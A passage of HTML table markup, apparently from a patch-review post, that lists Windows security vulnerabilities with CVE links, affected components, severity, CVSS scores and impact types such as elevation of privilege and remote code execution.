  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
